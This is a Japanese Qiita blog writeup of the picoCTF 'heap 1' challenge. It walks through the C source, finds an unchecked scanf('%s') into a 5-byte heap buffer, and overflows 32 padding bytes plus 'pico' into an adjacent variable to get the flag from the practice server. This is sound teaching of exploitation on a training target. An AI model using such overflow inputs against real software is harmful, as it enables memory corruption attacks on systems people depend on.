0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF Writeup: heap 1

ヒープオーバーフローをやってみよう問題

  • ジャンル: Binary Exploitation
  • 難易度: Medium

Writeup

問題文

Can you control your overflow?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc tethys.picoctf.net 49554
オーバーフローを制御できるかな?
バイナリとソースはここからダウンロードできるよ。
チャレンジインスタンスへの接続はこちら。

さて、まずはソースから見ていきます。

まずはmainから

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

case4check_win()がflagに関係ありそうです。
check_win()をみてみます。

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

safe_varpicoであればflagが取れそうです。

さて、safe_varはどうやって作られてるのでしょうか。

// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;
void init() {
    printf("\nWelcome to heap1!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

mallocでサイズ5byteでメモリ確保してますね。
strncpyで初期値としてbicoが入れられています。
さらに、safe_varの前にinput_dataも5byteで確保され、picoが入っていることがわかります。

これはヒープオーバーフローが怪しそうです。

maincase 2write_buffer()scanfがありますが、%sとなっており、これはサイズチェックがされていません。
そのため、定義した5byte以上の文字列もメモリに格納することができてしまいます。
そうすると、input_dataをはみ出して、safe_varのメモリ領域まで書き込めてしまうという。

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

さて、ここまでコードを読んで、アプローチまで考えたので、一回サーバーにつないでみます。

$ nc tethys.picoctf.net 61581

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5713c47492b0  ->   pico
+-------------+----------------+
[*]   0x5713c47492d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice:

Heap Stateのテーブルを見ると、input_datasafe_varのメモリ番地が表示されていますね。

$ python3 -c 'print(hex(0x5713c47492d0 - 0x5713c47492b0))'
0x20

0x20分、つまり32byte + "pico'をinput_dataに入れれば、safe_varに`"pico"が書き込まれることになるはずです。

$ nc tethys.picoctf.net 61581

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x64682f3702b0  ->   pico
+-------------+----------------+
[*]   0x64682f3702d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: 00000000000000000000000000000000pico

さて、1printしてみます。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x64682f3702b0  ->   00000000000000000000000000000000pico
+-------------+----------------+
[*]   0x64682f3702d0  ->   pico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice:

おー、"pico"入ってますね。
では、case 4でflagをみてみます。

Enter your choice: 4

YOU WIN
picoCTF{starting_to_get_the_hang_ce5bee9b}

flagとれました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?